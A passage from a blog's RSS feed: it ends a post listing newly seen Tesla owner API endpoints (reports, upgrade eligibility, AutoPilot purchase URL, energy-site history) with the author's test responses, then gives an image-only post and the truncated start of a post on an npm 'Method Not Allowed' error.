&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;3&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#3&#34;&gt;3&lt;/a&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;;width:100%&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &amp;#34;response&amp;#34;: {}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;The next new API is a POST, for reports; and calling this just sends a 200OK back, but I don&amp;rsquo;t know what it is for. It seems very similar to the SEND_LOG method.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;
&lt;table style=&#34;border-spacing:0;padding:0;margin:0;border:0;&#34;&gt;&lt;tr&gt;&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;1&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#1&#34;&gt;1&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;2&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#2&#34;&gt;2&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;3&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#3&#34;&gt;3&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;4&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#4&#34;&gt;4&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;5&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#5&#34;&gt;5&lt;/a&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;;width:100%&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;#34;SEND_REPORT&amp;#34;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &amp;#34;TYPE&amp;#34;: &amp;#34;POST&amp;#34;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &amp;#34;URI&amp;#34;: &amp;#34;api/1/reports&amp;#34;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &amp;#34;AUTH&amp;#34;: true
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  }&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;The next two set of APIs seem quite interesting and related t AutoPilot upgrade. It might be that these could be in app purchases - checking the eligibility, and then allowing one to purchase.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;
&lt;table style=&#34;border-spacing:0;padding:0;margin:0;border:0;&#34;&gt;&lt;tr&gt;&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;1&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#1&#34;&gt; 1&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;2&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#2&#34;&gt; 2&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;3&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#3&#34;&gt; 3&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;4&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#4&#34;&gt; 4&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;5&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#5&#34;&gt; 5&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;6&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#6&#34;&gt; 6&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;7&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#7&#34;&gt; 7&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;8&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#8&#34;&gt; 8&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;9&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#9&#34;&gt; 9&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;10&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#10&#34;&gt;10&lt;/a&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;;width:100%&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;#34;UPGRADE_ELIGIBILITY&amp;#34;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &amp;#34;TYPE&amp;#34;: &amp;#34;GET&amp;#34;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &amp;#34;URI&amp;#34;: &amp;#34;api/1/vehicles/{vehicle_id}/eligible_upgrades&amp;#34;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &amp;#34;AUTH&amp;#34;: true
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &amp;#34;AUTOPILOT_UPGRADE_URL&amp;#34;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &amp;#34;TYPE&amp;#34;: &amp;#34;GET&amp;#34;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &amp;#34;URI&amp;#34;: &amp;#34;api/1/vehicles/{vehicle_id}/purchase_url&amp;#34;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &amp;#34;AUTH&amp;#34;: true
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  }&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;When I try and call the &lt;code&gt;Purchase_URL&lt;/code&gt;, I get a &lt;code&gt;HTTP 400&lt;/code&gt;, and seems like I am missing some parameters - other than the headers.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;
&lt;table style=&#34;border-spacing:0;padding:0;margin:0;border:0;&#34;&gt;&lt;tr&gt;&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;1&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#1&#34;&gt;1&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;2&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#2&#34;&gt;2&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;3&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#3&#34;&gt;3&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;4&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#4&#34;&gt;4&lt;/a&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;;width:100%&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &amp;#34;error&amp;#34;: &amp;#34;bad_request&amp;#34;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &amp;#34;error_description&amp;#34;: &amp;#34;The data given to this server does not meet our criteria.&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;And calling the &lt;code&gt;eligible_upgrades&lt;/code&gt; I get a &lt;code&gt;&#39;false&#39;&lt;/code&gt;. Now I already have AutoPilot, so this might make sense. And given this seems to be a key-value pair, I am guessing there will be other things that Tesla would add over time to up-sell.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;
&lt;table style=&#34;border-spacing:0;padding:0;margin:0;border:0;&#34;&gt;&lt;tr&gt;&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;1&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#1&#34;&gt;1&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;2&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#2&#34;&gt;2&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;3&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#3&#34;&gt;3&lt;/a&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;;width:100%&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &amp;#34;autopilot&amp;#34;: false
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;The final new API is related to energy sites, and something I of course don&amp;rsquo;t have or have an interest, but sharing here if someone does care. :)&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;
&lt;table style=&#34;border-spacing:0;padding:0;margin:0;border:0;&#34;&gt;&lt;tr&gt;&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;1&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#1&#34;&gt;1&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;2&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#2&#34;&gt;2&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;3&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#3&#34;&gt;3&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;4&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#4&#34;&gt;4&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;5&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#5&#34;&gt;5&lt;/a&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;;width:100%&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;#34;CALENDAR_HISTORY_DATA&amp;#34;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &amp;#34;TYPE&amp;#34;: &amp;#34;GET&amp;#34;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &amp;#34;URI&amp;#34;: &amp;#34;api/1/energy_sites/{site_id}/calendar_history&amp;#34;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &amp;#34;AUTH&amp;#34;: true
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  }&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;I am not publishing the full API here as there aren&amp;rsquo;t significant changes. You of course can see the &lt;a
	
		href = &#34;http://desigeek.com/blog/amit/2019/04/20/tesla-rest-apis-v3-8-2/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		older post
	&lt;/span&gt;
&lt;/a&gt; which has the details.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Minor Fixes</title>
      <link>/post/2019/08/minor-fixes/</link>
      <pubDate>Fri, 23 Aug 2019 00:00:00 +0000</pubDate>
      
      <guid>/post/2019/08/minor-fixes/</guid>
      <description>&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/minor-fixes-scaled.jpg&#34; alt=&#34;&#34;/&gt;
        &lt;figcaption&gt;Minor Fixes&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>npm install blues - npm ERR! Error: Method Not Allowed</title>
      <link>/post/2019/08/npm-install-blues-npm-err-error-method-not-allowed/</link>
      <pubDate>Tue, 13 Aug 2019 00:00:00 +0000</pubDate>
      
      <guid>/post/2019/08/npm-install-blues-npm-err-error-method-not-allowed/</guid>
      <description>&lt;p&gt;This is a output of a few frustrating hours (spanning over a few days - as and when I can get time), and finally got it fixed and working. Hopefully it might help someone who is also dealing with npm blues.&lt;/p&gt;
&lt;p&gt;When NodeJS and npm works, its awesome. But when it borks, it is worst than my code or so it seems :).&lt;/p&gt;
&lt;p&gt;Been playing with a few things and wanting to get a dashboard going with &lt;a
	
		href = &#34;https://grafana.com/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Grafana
	&lt;/span&gt;
&lt;/a&gt; (and &lt;a
	
		href = &#34;https://www.influxdata.com/products/influxdb-overview/influxdb-2-0/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		InfluxBD
	&lt;/span&gt;
&lt;/a&gt; as a time-series DB). But some of the installation was failing and for the life of me, could not figure out why and how. Clean image install and downgrading to the previous stable version also didn&amp;rsquo;t help.&lt;/p&gt;
&lt;p&gt;One example of npm failing miserably was the &lt;code&gt;&amp;quot;Error: Method not Allowed&amp;quot;&lt;/code&gt; which is not very helpful. Here is an example of what I was seeing:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;
&lt;table style=&#34;border-spacing:0;padding:0;margin:0;border:0;&#34;&gt;&lt;tr&gt;&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;1&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#1&#34;&gt; 1&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;2&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#2&#34;&gt; 2&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;3&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#3&#34;&gt; 3&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;4&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#4&#34;&gt; 4&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;5&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#5&#34;&gt; 5&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;6&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#6&#34;&gt; 6&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;7&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#7&#34;&gt; 7&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;8&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#8&#34;&gt; 8&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;9&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#9&#34;&gt; 9&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;10&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#10&#34;&gt;10&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;11&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#11&#34;&gt;11&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;12&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#12&#34;&gt;12&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;13&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#13&#34;&gt;13&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;14&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#14&#34;&gt;14&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;15&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#15&#34;&gt;15&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;16&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#16&#34;&gt;16&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;17&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#17&#34;&gt;17&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;18&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#18&#34;&gt;18&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;19&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#19&#34;&gt;19&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;20&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#20&#34;&gt;20&lt;/a&gt;
